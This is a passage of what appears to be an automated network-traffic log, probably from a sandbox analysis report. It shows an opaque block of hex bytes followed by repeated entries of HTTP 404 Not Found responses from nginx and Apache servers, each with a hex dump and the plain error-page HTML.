3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 10:34:49 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cd104a-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:35:21 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:35:24 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:35:27 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:35:29 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:35:35 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:35:38 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:35:40 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:35:43 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 10:36:10 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 10:36:13 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
